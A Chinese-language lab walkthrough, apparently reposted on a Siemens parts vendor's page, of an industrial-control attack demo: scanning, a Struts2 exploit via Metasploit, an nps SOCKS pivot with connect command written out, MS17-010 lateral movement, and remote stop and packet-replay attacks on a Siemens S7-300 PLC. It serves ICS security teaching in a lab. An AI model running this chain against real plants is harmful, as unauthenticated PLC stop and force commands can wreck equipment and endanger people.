一、概述1.实验目的通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能
2.靶场信息本实验通过vmware搭建了靶场的外网和内网环境,在内网环境中,可以连接到真实的PLC进行漏洞利用。网络拓扑如下:
该网络环境中,有两台攻击机处于模拟外网中,分别是一台windows7主机和kali主机,通过这两台主机进行漏洞利用,获取内网访问权限,进一步获取西门子PLC的控制权,从而控制城市沙盘。
二、演示过程1.资产发现登录kali攻击机,输入ifconfig查看ip段,
接着对该网段C段进行端口扫描nmap-Pn-n—open192.168.14.0/24
发现192.168.14.10开放了80和8080端口,用浏览器分别访问这两个端口
发现80端口存在一个网站,8080端口为tomcat的默认界面。
2.目录扫描使用kali自带的dirbrute工具来对8080端口进行目录扫描
设置好字典,对/192.168.14.10:8080/点击start进行目录扫描
发现一个test目录
访问发现是struts2-showcase测试项目
3.Struts2漏洞利用出现struts2框架,可以尝试利用struts2命令执行漏洞。输入msfconsole打开msf,如果次运行,可以先运行msfdbinit来初始化msf数据库
输入searchstruts2来搜索struts2相关漏洞
加载struts2利用模块接下来在msf设置目标信息并攻击,其中rhosts为struts2网站的ip,rport为网站的端口,targeturi为存在漏洞的地址。输入exploit开始攻击
可以看到成功获取该struts2网站的权限,返回了一个meterpretershell,输入sysinfo可以看到这台主机的ip为192.168.90.10,是linux系统,版本为Ubuntu16.04。
4.Nps内网代理由于已经获取了位于内网的linux主机权限,可以通过这个meterpretershell来设置socks代理,这样就可以msf中访问内网中的其它主机和端口了。先下载nps客户端和服务端到kali攻击机中解压安装nps./npsinstall启动npsnpsstart
访问本地Ip的8080端口,链接为/192.168.14.4:8080可访问nps管理后台,输入admin/123登录。点击添加客户端
然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux主机的/tmp/目录中。upload/root/nps/linux_amd64_client.tar.gz/tmp/nps.tar.gz在linux主机中执行解压
回到nps后台中,展开客户端,复制客户端命令
在msfmeterpreter中执行下面命令让客户端连上服务器execute-f/tmp/npc-a‘-server=192.168.14.4:8024-vkey=0fr8k4rsh8tjl8ut-type=tcp’
在后台管理处看到客户端状态是在线即成功连上nps服务器。
接着在后台管理处添加一个socks代理,输入刚才创建的客户端id,端口为1086
此时可以通过本地的1086端口的socks代理访问192.168.90.0网段的主机。在msf中输入下面命令设置socks代理。setgproxiessocks5:127.0.0.1:1086
5.永恒之蓝横向移动设置好到进入192.168.90.0网段的socks代理后,可以使用msf对该网段进行扫描,先扫描永恒之蓝漏洞
发现192.168.90.60主机存在ms17-010漏洞,接下来使用ms17-010漏洞利用模块进行攻击。由于使用了socks代理,设置反向连接payload时,要设置ReverseAllowProxy
成功获取存在永恒之蓝漏洞主机的权限。
6.信息收集-发现TIA项目通过查看用户的桌面,发现了Sand_V16目录中存在ap16后缀名的文件。
这是西门子组态软件TIAPortal(博途)的项目文件,是用于对西门子可编程逻辑控制器(programmablelogiccontroller,简称PLC)进行编程控制的软件。先下载该项目到本地,使用下面命令下载downloadc:/users/admin/desktop/Sand_V16.zip
7.查看TIA项目下载完项目后,复制出到一个windows10系统中解压。在本地电脑上装一个TIAPortalV16,然后打开该项目,点击项目视图
可以看到该项目中有两个PLC,一个是S7-300,一个是S7-1
8.西门子S7-300远程启停漏洞利用西门子S7-300是西门子的一款可编程逻辑控制器,可编程控制器由内部CPU,指令及资料存储器、输入输出单元、电源模块、数字模拟等单元所模块化组合成。PLC可接收(输入)经过CPU处理后,发送(输出)多种类型的电气或电子信号,并使用他们来控制或监督几乎所有种类的机械与电气系统。
西门子S7-300存在远程启停,数据重放等漏洞,可以在不进行身份认证的情况下直接对PLC进行启动、关闭和修改数据。先获取该S7-300的IP,在项目中展开S7-300,双击设备组态,在属性中的以太网地址中查看IP地址,发现IP为192.168.30.60。
接着在获取权限的windows内网机器上ping192.168.30.60。发现可以ping通
S7-300的端口一般是102端口,先使用msf的端口转发功能,把192.168.30.60的102端口转发到kali攻击机上,方便访问portfwdadd-l102-r192.168.30.60-p102
使用nmap扫描本地102端口,发现已经转发成功了
接着在kali攻击机上下载isf攻击工具,里面包含了s7-300的攻击模块,当然也可以使用其他脚本也行
运行完后,可以看到PLC进入了stop状态,也就是PLC停止了。STOP状态灯亮起
启动plcsetcommand1run
下面是PLC控制的沙盘在PLC被关闭后的效果图
直接关闭PLC,会导致正在运行的工业系统停止运行,从而导致严重的后果。可以想象一下正在运行的列车失去了控制是什么后果。
9.西门子S7-300重放攻击西门子S7-300没有防重放机制,只要使用wireshark等抓包工具获取了某个功能的数据包,即可重放该数据。例如Q0.6是控制沙盘中信大厦通电的输出,现在要对它单独进行修改,而不影响其它输出。可以在博途对Q0.6进行强制修改,然后抓取该数据包,进行重放即可。在S7-300的强制表中点击监控变量,输入Q0.6,右键强制修改为0
使用wireshark抓取该数据包,发送的是S7COMM协议,该协议的详细介绍网上比较多资料,这里只对要修改的地方进行介绍,下图中Force代表开启强制修改,Addresstoforce为要修改的地址,图中是Q0.6,其中Startaddress代表Q0.6的0,Bitposition代表Q0.6的6。修改这两个数据可以修改任意输出,如Q1.1。其中的Valuetoforce是要修改的值,在Data字段中为00,也就是要修改成0。
次开启强制认证时,会在PLC中创建一个对象,并且返回该对象的引用ID,下图中的Force请求响应中的Sequencenumber字段为4,代表创建的对象引用ID为4,后续修改强制表的时候会用到该ID。
继续强制Q0.6的值为1,可以看到发送的请求变成了Replacejob,也就是修改对象,其中的referencesequencenumber为4,也就是修改了前面Force请求中创建的对象。修改的地址也是Q0.6,值为1
然后右键点击停止强制,发送了Deletejob请求,也就是删除了该强制表对象其中的Jobreferencenumber为4。删除后,所有强制修改失效。
经过分析后,可以编写一个python脚本来对PLC的值进行修改。在对应的协议数据中复制tcppayload为hexstream,然后进行相应的修改并重放即可实现对值的修改。
下面编写一个模块脚本来对PLC的输出值进行强制修改代码中,在Force请求发送后,会记录referencenumber用于后续的修改
把脚本放在exploits/plcs/siemens/目录中
通过下面命令来使用
发送前S7-300的Q0.6是通电的,中信大厦正常运行
发送后S7-300的Q0.6关闭,中信大厦关闭。
直接修改PLC的关键状态,可能会导致严重的后果,如震网攻击中通过改变离心机转数来破坏伊朗的核设备。
三、总结本次攻防演示中,通过模拟外网攻击进入内网环境,对控制工业设备的PLC进行了攻击。整体的攻击过程为:外网web服务器-》内网西门子工程师站-》西门子S7-300PLC。其主要目的是针对工控安全感兴趣的爱好者学习,相互交流。
大禹工控安全实验室由安·广州三零卫士成立,汇聚国内多名漏洞挖掘、二进制逆向、安全分析、渗透测试、自动化工程师等安全专家组建而成,专注于工业控制系统安全、工业物联网安全、工业威胁情报安全等安全领域,大禹工控安全实验室始终坚持在工业控制系统安全领域进行探索和研究
IRTeam工控安全红队属于民间工业安全组织,由经验丰富的工控安全研究员组成,一直在学习和研究的工控漏洞及漏洞利用和防护,同时开发了KaliICS工控渗透平台能够提供全方位的工控漏洞挖掘和渗透测试。在工控的协议安全、HMI安全、工业云安全等领域有着丰富的经验和成果
- 对于西门子S120变频器整流模块,如何正确选型及注意事项: 2024-12-29
- 西门子,使用全集成自动化软件带来的五大好处 2024-12-29
- 对于西门子S120变频器整流模块,如何正确选型及注意事项 2024-12-29
- 浅谈西门子ET200S终端模块 2024-12-29
- 消防维保之西门子系列模块接线图合集 2024-12-29
- 西门子S7300400串口通信模块的信息与使用 2024-12-29
- 全新西门子6ES71944CB000AA0连接模块ET200PRO原装 2024-12-29
- 西门子S120驱动器入门教程PM2402功率模块 2024-12-29
- 西门子模拟量输入模块精度与分辨率的四大要点 2024-12-29
- 西门子PID模块的微分作用: 2024-12-29
- 西门子模拟量输入和模拟量输出模块接线图 2024-12-29
- 认识S71200的故障安全CPU模块: 2024-12-29
- 对于初次使用调试的基本步骤,西门子称重模块的用户,请按照下列步骤进行调试 2024-12-29
- 如何理解西门子故障安全模块的关断测试与接通测试? 2024-12-29
- 西门子SIWAREX称重模块调试的基本步骤 2024-12-29
联系方式
- 电 话:19514738860
- 联系人:黄经理
- 手 机:19514738860
- 微 信:19514738860